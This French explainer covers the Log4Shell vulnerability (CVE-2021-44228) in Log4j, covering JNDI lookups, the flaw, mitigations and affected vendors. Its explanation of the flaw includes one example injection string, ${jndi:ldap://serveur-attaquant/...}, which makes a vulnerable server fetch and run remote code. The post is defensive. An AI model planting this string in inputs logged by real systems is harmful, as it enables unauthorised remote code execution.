Qu’est-ce que Log4j et JNDI ?
Log4j est un utilitaire de gestion des logs pour les applications développées en Java. Ce framework open-source est développé par l’Apache Software Foundation depuis 2001. Il permet de configurer précisément les fichiers de sortie, les niveaux et le format des logs.
JNDI (Java Naming and Directory Interface) est une API Java qui permet d’effectuer des recherches ou des opérations sur des annuaires de type LDAP, DNS, NIS (Network Internet Service), … La documentation Oracle présente par exemple comment un programme Java peut effectuer une requête LDAP avec l’URL suivante : ldap://localhost:389/o=JNDITutorial
Quelle est la vulnérabilité ?
Le 9 décembre 2021, la vulnérabilité Log4Shell (CVE-2021-44228) concernant Log4j et JNDI est publiée. Elle permet de l’Exécution de Code à Distance (RCE) sans besoin d’être authentifié.
La faille découverte est présente dans l’évaluation des variables effectuée par Log4j. Le framework supporte en effet la syntaxe suivante : ${prefix:name} où la propriété name est évaluée dans un contexte particulier. Les préfixes supportés sont notamment base64, env et jndi. Donc par exemple, ${base64:SGVsbG8gV29ybGQhCg==} renvoie « Hello World! »
Si un attaquant réussit à faire logger la chaîne suivante par une application JAVA : ${jndi:ldap://serveur-attaquant/chemin-classe-java_qui-va-etre-executee}, la requête LDAP sera donc exécutée. L’attaquant peut faire exécuter cette requête vers un serveur malveillant qu’il contrôle pour par exemple renvoyer le chemin d’une classe Java distante et faire exécuter par la suite du code malveillant.
C’est une faille extrêmement importante vu sa facilité d’exécution et la grande surface d’attaque permise par le grand nombre d’applications Java déployées dans le monde.
Comment s’en protéger ?
La mise à jour de Log4j en version 2.15.0 corrige la vulnérabilité. Il est donc conseillé de mettre à jour dès que possible.
Pour les versions de Log4j supérieures à 2.10.0 l’application du paramètres suivant permet un contournement de la vulnérabilité : -Dlog4j2.formatMsgNoLookups=true
Le filtrage réseau reste la meilleure des solutions pour cette vulnérabilité et celles à venir. Il est conseillé de filtrer l’accès Internet des serveurs vers Internet uniquement vers des sites de confiance voir de couper totalement l’accès Internet des serveurs qui n’en ont pas besoin.
Qui est impacté ?
Toutes les plus grandes applications utilisent Java et Log4j dont celles de Cisco, Minecraft, Apple et Red Hat qui ont été touchées. Une liste des logiciels impactées est disponible ici : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Cependant, il n’y a pas que les grandes entreprises et les serveurs exposés sur Internet qui sont concernés. La gestion des logs n’est pas toujours une action effectuée par un serveur exposé sur Internet donc le code malveillant peut être passé de serveurs en serveurs jusqu’à être exécuté par une application Java.
Des PoC sont déjà disponibles et des scans massifs sont en cours sur Internet. Pour l’anecdote, certaines personnes s’amusent même à patcher les serveurs vulnérables en utilisant cette faille.
Références :
https://github.com/apache/logging-log4j2
https://en.wikipedia.org/wiki/Java_Naming_and_Directory_Interface
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/